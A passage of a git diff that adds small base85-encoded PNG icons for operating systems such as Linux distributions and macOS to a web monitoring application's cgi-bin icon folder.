zfw3gWFPOpM*^M*?28J|G7srr_TgeFtGd83%GYfnuGyc%<;%<)cfiLavewRC%oWGy_ z+wn`=-n%&pvwpwf-C*PVE|cvtI}eZ2F*Q9WHXfdyuxhEpED{noVttvN8ZW)^^PA_; qW!j)SXRmEzqvMGqu9_1V89KPd1K8_Ac^McO7(8A5T-G@yGywqNc6RUp literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/kfreebsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/kfreebsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linux.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linux.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@TWAZIYal=BV)0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|DQXy_x)aprNsh0J=I&+PMI@j z%CR{T#o19D931cOZT<iM|NHmPH8myn?%nF@Xe-L;<H^9lz*rLG7tG-B>_!>`14DwR zi(^Q|t>lD+gqgDsFfh$AR&U7sr~g@D%db#_vw^>ueXQ4=tYKIpQU5-!l2PSP+V^Rh z4ztR?zg+vd@k{sR-Th3NdQ0csJ+5zPV4ykmjaYaT!;(-VHO5Rf#mN_*FtIV5W{?wi UPHGEeU|?YIboFyt=akR{0E~rlf&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxandroid.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxandroid.png new file mode 100644 index 0000000000000000000000000000000000000000..07d266f75a9d5282f128ace2b89d376b31bba52a GIT binary patch literal 230 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0YKo;^L8)d$jzj zGy?+zXMsm#F#`j)5C}6~x?A^$fq{V~-O<;Pfnj4m_n$;o1_lPj0G|-o|Ns9_JD@WC zfXbBpax)I7{{R2)?U!5A52{Q*pgR44(z6ezO`12IU|?WiED7=pW^j0RBaMN9!P?Ws zF{I+w)H9ZR2NXn(1SD@d_?MsOV!MZkNabA9O9xhOs<`rL>hyaSuS|M+m5=BZ|DC_V hrhKLT%-DA(nT!k<c)}PqGcYhPc)I$ztaD0e0su7jQy~BV literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxasplinux.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxasplinux.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@TWAZIYal=BV)0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|DQXy_x)aprNsh0J=I&+PMI@j z%CR{T#o19D931cOZT<iM|NHmPH8myn?%nF@Xe-L;<H^9lz*rLG7tG-B>_!>`14DwR zi(^Q|t>lD+gqgDsFfh$AR&U7sr~g@D%db#_vw^>ueXQ4=tYKIpQU5-!l2PSP+V^Rh z4ztR?zg+vd@k{sR-Th3NdQ0csJ+5zPV4ykmjaYaT!;(-VHO5Rf#mN_*FtIV5W{?wi UPHGEeU|?YIboFyt=akR{0E~rlf&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxcentos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxcentos.png new file mode 100644 index 0000000000000000000000000000000000000000..c2541d14c703b0c9a42aa9f5a4848ced24de481e GIT binary patch literal 641 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq1*9-c0aAsQ1)C!O{eP82zM z-u$!g^57_$CxHvMZ4Gi@b@uSN8f5Z<DLl`|$EU~pABVi*MO|)jHN6PU&WSrNc5wda za6G`lb+D!7nppHQR<2qfZe88l+PoP{x{D@n-tm3T=AAzq4cnxI_@|uQ7*v(}fJ6Q& zw{1wQox#7T+S{kUEo&Ek`gg|aQ;)aUB=#^i)TRDjYCiMx#jwk%Qo-qGVkJ2zwicgw z{zPZ$l8{T{uHR*^Z{Ehe+>N2(@Ix14@7&g+Ymd77XNQ;DEBSi`)UAl9F^rym*DLx^ zarU&k8=}@f-Ktc+X`lR*%Zo2w=uKY4%-~SbbZ+)u4e`?(cr6sIXL*!P<gSaYmGC^v znf;2zs8u)OmF<Pgk2mnoW7Pk^QTzGO?>x!>P8)acj5)~I@c4aYp8dQ^tHS+j*UyzO zG84GUv9mzzY;5?m;6lefmCd^rdA8iR*pyix5*HCAU$lGfd`<lewSEs~{{POYAt=kC z_~K=*Q*)@x=H$uR)0|dVEM{mpps($v%6wkJK_YpMk#vQ@r)SS6uk_cJkb2d4C*i== zXv3IEB?{GvB8P($ep;BlIWHRB|9sa;6;{oLuCtG2Uf%bxF_Lg~6sXYAYb&Umu+Zb5 zgTPsVHRcDnG)qdi^#o29S@BQnx82*rWhT8FCOI6~zj$t7h#f=Af-T1Vr}8!|s-2p} zIsJ9Xjn{XV<dw5;-Tped_mi0Ah0?<}ZcKm5V(EA`ufQ!kO8c6V-!JKU`(If<m1ck8 zUp=!qqh9w(7SkCC;ii-Ni(l0}xD`0zKl|qs8SIzMwmo8CU|{fc^>bP0l+XkKO*J4h literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxdebian.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxdebian.png new file mode 100644 index 0000000000000000000000000000000000000000..97d82145784237608be8079084aa06fa4469bfb7 GIT binary patch literal 623 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq1*W}YsNAsQ2VC&hY9E)+R7 z|Nri{cW<=26(^_Vich<ELho9_?hDVtVqK<1G)-gSj9W8F=|%GjF`XN(VQL~*d}pb+ zaLi(Jy)s8fVqHvZi^ADjiO7c~$**?%e}AuJwr$0W#^OS|IvI=eic^A~m|jgu4ZBx! zuhZw9)+P&uH4hv$*0YFr^Gthd+JDV%*9Q}O@2-QK^PUO`8uEoH{oZjbwQ5tRiwuLp zDOuKbH-RM6r*oJY7`!x{%67lHocH=8=fu|8M)UUymRT&B5+ri`$u#HhF?-m~shYpm zT>5~S;rrqm|0AY#vR*P5E%WV}8*a{aUiR}HyIYu&?@GUjwk1(p=PrD*WKU>4pMx|r zgO6Eh#1>DTxcqg6Ob$Ob?w<3xs`~2kSI2o8A6g4|_-xuXErYFT`yHnsjtAF|y}7P1 z>3*0yZ}a!*j0(5@FPZFrL$CL&881Uec)bIcitL|v@sG=N#2nTz6dk^HXkx`8ALS{t znOmJU+_!k%eP)xX^cJDL-;x-YY>JulSx4+yK;+fgANFqcEuS}UqRR9wg;(~)EEnFB zu;|X~SH`}23<(Sh!Vi93>P(&Le)kl6gORE6$#kXU)&FjMXqujR{@hvql<7(3+k0bn z#ynaaz0H4?xB7iyC4+Zf`?{Xaei(gz^#gtlkGXkncjKlzZ2V;R)8x3-o~~&V@BjTB zJw-+D(uK!DvuFQjPwCpeS$gX8%9?8r0_ENm<=@voW*_otHN%IcJ7@Q{JAL(>RuYmS i>gRiZYkNIYJ=2{SZOi2ncB~8x3=E#GelF{r5}E+0(HtcJ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxfedora.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxfedora.png new file mode 100644 index 0000000000000000000000000000000000000000..00a02c671c040c01224ffce77c87f206ecb475aa GIT binary patch literal 504 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq2m`#oJ8Lo_C)PO{CI94OK@ z|NFe(cWbutdiI)nHH&7mxE^du5{!}g<0w!laL_TGo&BzhOxNV<gQ4QFGBHO^F0F1( z+Hmb?M6*axy~447GtWQlp08qidT&g{yUP3DWh~P_J0Cu($>t?AX;XC>*Dd?-EU9zT zCly~$%P0?H>{!I$Aah(&;5idVkz#<Hbn3T*r8W+`H+!wUcVd@sh?kH2+&94=@-}+b zZan#vdpSc;!3Mp#mgnxyetz@LpUHdgR{!Yvbx6HNWWtoDNw1mt!%s8ZnOAw{QxW%* ziqHETCzX5@Q{-fS@b~{Q=fZ?VMr;TE)mG26E9^<jp8I~k%qE#<whDXZ7;NUb6DN~+ z{aheJ-d&5cw|=qd$L(ViQt*vh>HhVkjJ~+WbhnC6HGS6K(;eA9?TA@8y=qF^V-+V3 z$%+>T<QVK~auoLSy8hhPf0k$GnPjcd0|!rDxqrJ={{$=BX-npRjnAr$dX%pk&Ap#p z6BosFI+t;;xypx0AExy!zU^D_rKB(Av8cBFtp$(5F7RBO{kSh^Vt2Z~kkf%P%DZCr z1|4mecyF85Hu*!~0;7G_Tc4ge|D1d2%7aVAUOIKJJ^gR(*R9{gi@0Og)jF>}%)r3F N;OXk;vd$@?2>?eb=VAZ= literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxgentoo.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxgentoo.png new file mode 100644 index 0000000000000000000000000000000000000000..f00eeff9c88f2ac68def007b35f34926987a1a37 GIT binary patch literal 693 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`#teU1cLoLq#^NA%Cx&(BWL`2bFt8<g zySp&_2f+n<mrrJ3VBjq9h%9Dc;1&j9Muu5)Bp4VN*h@TpUD<E2ON$ul&ezFcXJBA5 z^>lFz(Fo3+5bG_%DA79q=1u<VTdy98HTD)XW;wV-{zB>nUq{#f3+lq3*mGz*3w%1Z zrG@44k(g_xcUQ(9zbRRsey4xt<)dLjB@gyiSw62lpX?E|TQ`YeUUtL#aurXv#TPHW zdd1hK!nmh;v$vHobD&6O=F5oN@!wQDJtl=_ey!P><vn}8PS8nDi_NvI3qy3gK7K!4 zJ;&Uy^4}vnk4q;%?mT2L<++#qb>-aJeJ@fyE}i-$<(S>j-v6#Bs`)TeOKjEi)9$&f z`<_?@Eqst&Soro5XTtn#6M5W<IR9y|1z2Vpm6&!uSFQNIt@U-=-lzZ89sT-|XP)@R zO`m36yeN__&y%ye`{D1#xV<sYUT$XRNeh;daahZC(r!QdiZI?2PcLtYPKZpfE=_9l zee-*tuiE5e`AzQ+U*9WxNwdARHS^I^ubD}jOVXl`^cu_A?`)SeXVlxt93eX2fXP+u zY#PsUxkL%UpEW%vPpT}-{IfRG<C6dB#g`kUg(DfPWH;2YgskTM6?E7lU2UE8B-uAc z*4dNJAMa!q=|45ai;w%QrCMH^r%IAX;jc+*YY(JmWJnlrGEMI7?fCfd-P6^Rer$_A zV9h^s_UxnwUQHXgzgk)FnbaCI<Xt&nsr|ht&vwC04#|^CJJqY6E*8+!t5SZjAtBIC zukiOZgU{T?5{?%xJ^Lm2^N+|(#?R&q7x!?im=mHowd+ao-!u1TCgtdS*Pj!0HZ8kY v`t~;m!#4L#K0YzYSyhw%{WJN0S^wX`>?8K|-&Zg&Ffe$!`njxgN@xNAROm0r literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxmandr.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxmandr.png new file mode 100644 index 0000000000000000000000000000000000000000..5dcf361ff4f73b73da1907468c12a18b1b516321 GIT binary patch literal 450 zcmeAS@N?(olHy`uVBq!ia0y~yVBlk5VBq0kV_;wiYUsJez`)q)>EaloF>&rB?`+{j zk+%6iKP@$uG!^&Q*eT-D6;ZG{w*0!&!fNwa(XRRfQ+E{U?-0B5Q~Zv|MWt;O%$o%c zy6CJ;j<QnmNmDca92?Veq&4IM`@O3VAKJ?FC9mE3hy78$bGELl*`X!&=fu};-RyHQ zO1Q47<)yuSe2CY_b;U<2F1YgAFYXphcb8u=&+g!{yY?=Yxz;~!EWWrxn8kKg{I-In z&zh74RBn9Gwfe`GCq4Ju#HTwwljl8uv+rf$->k{swu<`A`W{fp<=SE>C0!a&y;@}b z^-gPk&2#tskEnRQkmH*W^kA1>?^0hOv4CTXcq8U6zT<i<ye#0YZrdu$$WTpJ3lGmr zO<n3I>-Q~M)OV5Tz@rYM;_dSv{?=t^QkY><HP3ysTII(7y()5veDfz=y?#?$PT-X2 z6fKRZr!4x6yIDTe&bO8}-|@d<`t<E$D?_(sZoQSW?ygF&nMB#UqQIjE{=8Xr?o06| zoyXblXVh7wRjxex^rw^)M~|V)VPU<{*Bz7C9YkFBAFY2X&cnU`#&r4j?F<YI44$rj JF6*2UngGpx$MpaJ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxpclinuxos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxpclinuxos.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@TWAZIYal=BV)0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|DQXy_x)aprNsh0J=I&+PMI@j z%CR{T#o19D931cOZT<iM|NHmPH8myn?%nF@Xe-L;<H^9lz*rLG7tG-B>_!>`14DwR zi(^Q|t>lD+gqgDsFfh$AR&U7sr~g@D%db#_vw^>ueXQ4=tYKIpQU5-!l2PSP+V^Rh z4ztR?zg+vd@k{sR-Th3NdQ0csJ+5zPV4ykmjaYaT!;(-VHO5Rf#mN_*FtIV5W{?wi UPHGEeU|?YIboFyt=akR{0E~rlf&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxredhat.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxredhat.png new file mode 100644 index 0000000000000000000000000000000000000000..00e6095c7be752394ac11345b3498db63b9d4b95 GIT binary patch literal 565 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq2me>`0rLo_C~PIUARNt9@v z|Ni&8GX{$zGF1(mXFOG1s-X0hUqm<OsvgIosof5@ww;!La4Xd#TinTXf{IYCNav)C z;B7@K43Ez$nKiR|f3-jNaxu>@2X<FlvfukI!_2YZy5+m5(`zl%PAm4Wd77+tc%{li z)qs!llJt(p$q1L2OqtZ8?RjX~){4%6M}D({I+gl7O?nq*@k}k7on+SiwzMx%f#p}j zwyiP}hr^RkFg{oHV-TOa_<R(DR-jA4c?q_L^A0yH+b&Jv&O8-)fSFT(LHVBX6PfB` z0^T!91H^7H&Wk#|Tj9Zh>O8MI6BrB*_&?~~x`#Dv?%}PQZnh`Ry2Q@oEu#8KD86B} z?BoWX0=Gw-j+iGK+`aayO6~AljYo4@UUTecj+Hse)Zcqh?ZCkk9KAm)&D7Obe)$rx zdD>%#U)LobOg7we>M6%MU!M!F-lZw<Xr4X$F(tF}J2!XCt(y;1?D!q#sJyxUI%Jmb zw7JQf?;fkUaqH6SUfxw#wJu-2{O88~^qnzj`Q_8s`Lro;d=NS>CSJL3m)G6jhi9vv ztX}W7c%equ7wPwV)6&wuEQ-1I?c26@{=S)8BCcdeWSQ`YGFUv<5aDufnjs;-JVI;Z zzHM$><DMUUqqFqj!NXlk{38D^2wS~z)22f&|J5Bke(Xf~zkllu`;up^6>D{BJh0RL bcf8A^*DWCrs}mR)7#KWV{an^LB{Ts5yr~GL literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxsuse.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxsuse.png new file mode 100644 index 0000000000000000000000000000000000000000..26cb28a6dc3493d38755d81a75786eb42d5c313a GIT binary patch literal 434 zcmeAS@N?(olHy`uVBq!ia0y~yVBlk5VBq9nV_;xl@|DeGU|_8Dba4#Pn3#Lvte146 z$gz+AXP>m5d9m|i&oLGuuSI%It211C^kQ~q3KmAch~?PZns=*Kf5C;^m3rRdO-i~V zOFT}xIrhpInw(VeGm_62cXIYR|Lg$se&+Ln=I7Qvvi~fxWkq@2W&Yg}m(*7JD+>5W zb3FRbq+jr}>|^8n-q@xSzh`qN&G;y?bfapV*nOVE2A_V0++O(BoMZ953y!WXUh|jT z+<)ln+{B7^a>*w>jh^vv9nE~ruDvr{=9+!b$($tV^B&Tb$Aot>))d5UG4M6dSj6dh zOJjrGUgyLuKKr(uDE&R@(ha649kvfF(RcOM-{1T6=;zc=H+8#MCr^%=|2^J*bL`&q z|JMzjILyRswyn-)&QL2^^|bQaKKZ~iX)7%@$5`-c85h@BS{*R*EfO|c{q*O-&3SX8 zmrhv}X74<mNq60g3fp7uL0hctg7_!QdU7t;X!coQEqU)-&3%%$6@nBOzM3rKxhUjF tOX}q}S0@@a`bhkk*e<?pW6CW1h(jH_C5>$A85kHCJYD@<);T3K0RV5SynFxv literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxubuntu.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxubuntu.png new file mode 100644 index 0000000000000000000000000000000000000000..7454e0987911475b77a5977dcfec36f04b32a2cf GIT binary patch literal 628 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4mJh`26+$Niwq1*)}AhoAsQ2NC!O{V4HRkL zzxVvtUkYdSQqu$`W;Uydd43bnniUct;3nX5VL{FU0l}~QA|cIeZW<GX52v|Jo)sa& za`7;mq$^vit%<MZS(|&s-|p>a<C6S(u*o!XLtS?53;Q1r(ob7kz89(gw`k$FGGAVv z6YTn)Mw5=nY+hUN_;8E(-X9AYSFA~V^G*0sAK#mIwjuZTwe}jN%xHg7IKS#+eDayA zVqKs1p9sG?VXf_vE00vCtXa>T%wSM_n^CE@mihAr(cHZ*pH|HGndC0K*y4T1D)R*u zO^2G7cb=Nwq|z!d<)2jOrJX_RbQeFl7-?y){65(7y~*ci8y_9kp7O3sq<sG5?|#>g z+t1v2-}lykhE3cbm#*GWsw)xQU?_Mkg6rB9;cxR@Bo2Mv-BROo%yzeP$xn@!O)~qQ zvXs5y+_r=%`AyEdn=UEkatE(o6He`3sL-7nX_|S|D`YdDu`SEx`y6?*7BmQW%wQ1y zF866+p?tHu|Du-?F&<O>`ZRz3bNrco`sunU8O#3f+T$(S6wcxJb7J7$+nXZudoLyw zZ{FiQb)!qhL8S{$cV02S2$lA!OWCuWJzKZ#i}d8!*eAb#ZJ0XsNuTWT8!ygVw<ye1 zsjO;LxqRZoJ>?ni?LV*zrlv<lZrR&4VfEsQT;++q8yJpBtl4<uP*IoEdF5cgvg2lN zc3E}Jo^`_1C-BE7k(=Me4OtrYpG|z%lqzi=ShbmPsphe$OXhQ14$5e)XMHyF^ZO4q oysb4&j|4SNB^s+rB>&{SzCO%km*mL|1_lNOPgg&ebxsLQ04g0OGynhq literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxvine.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxvine.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@TWAZIYal=BV)0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|DQXy_x)aprNsh0J=I&+PMI@j z%CR{T#o19D931cOZT<iM|NHmPH8myn?%nF@Xe-L;<H^9lz*rLG7tG-B>_!>`14DwR zi(^Q|t>lD+gqgDsFfh$AR&U7sr~g@D%db#_vw^>ueXQ4=tYKIpQU5-!l2PSP+V^Rh z4ztR?zg+vd@k{sR-Th3NdQ0csJ+5zPV4ykmjaYaT!;(-VHO5Rf#mN_*FtIV5W{?wi UPHGEeU|?YIboFyt=akR{0E~rlf&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxzenwalk.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/linuxzenwalk.png new file mode 100644 index 0000000000000000000000000000000000000000..33dace828f4e5e9e396dacf631494dcd5358e9e8 GIT binary patch literal 320 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@TWAZIYal=BV)0|RG)M`SSr1J?%- zW^`I(GJ}DEfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z|DQXy_x)aprNsh0J=I&+PMI@j z%CR{T#o19D931cOZT<iM|NHmPH8myn?%nF@Xe-L;<H^9lz*rLG7tG-B>_!>`14DwR zi(^Q|t>lD+gqgDsFfh$AR&U7sr~g@D%db#_vw^>ueXQ4=tYKIpQU5-!l2PSP+V^Rh z4ztR?zg+vd@k{sR-Th3NdQ0csJ+5zPV4ykmjaYaT!;(-VHO5Rf#mN_*FtIV5W{?wi UPHGEeU|?YIboFyt=akR{0E~rlf&c&j literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/mac.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/mac.png new file mode 100644 index 0000000000000000000000000000000000000000..03f56f402b358da99276239b173783c6ceda025d GIT binary patch literal 282 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Qz$e7@z<~qDu02;Y z4Du?TlH9V_(5uDCD`@Mv_fgr!no)BkBsAx2J(u0Hcj?-#tQWZC7#J8BOM?7@862M7 zNMm4NNb_`Y45_%4oRE<4z=J{PoSt4->(i$^YUk{vHXT1L850vbE!>1D)BpOHTW=k1 zJ-_g=Xu_WE%dP@%A3a)nEsjITK4%KYBllS{uk&u5OL$~idTCK!;etKg!O9VPyR)qV hWCaYg3=9|;qCYEc{dwj~6axbTgQu&X%Q~loCIEX{W?%pS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macintosh.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macintosh.png new file mode 100644 index 0000000000000000000000000000000000000000..03f56f402b358da99276239b173783c6ceda025d GIT binary patch literal 282 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9Qz$e7@z<~qDu02;Y z4Du?TlH9V_(5uDCD`@Mv_fgr!no)BkBsAx2J(u0Hcj?-#tQWZC7#J8BOM?7@862M7 zNMm4NNb_`Y45_%4oRE<4z=J{PoSt4->(i$^YUk{vHXT1L850vbE!>1D)BpOHTW=k1 zJ-_g=Xu_WE%dP@%A3a)nEsjITK4%KYBllS{uk&u5OL$~idTCK!;etKg!O9VPyR)qV hWCaYg3=9|;qCYEc{dwj~6axbTgQu&X%Q~loCIEX{W?%pS literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx4.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx4.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx5.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx5.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx6.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx6.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 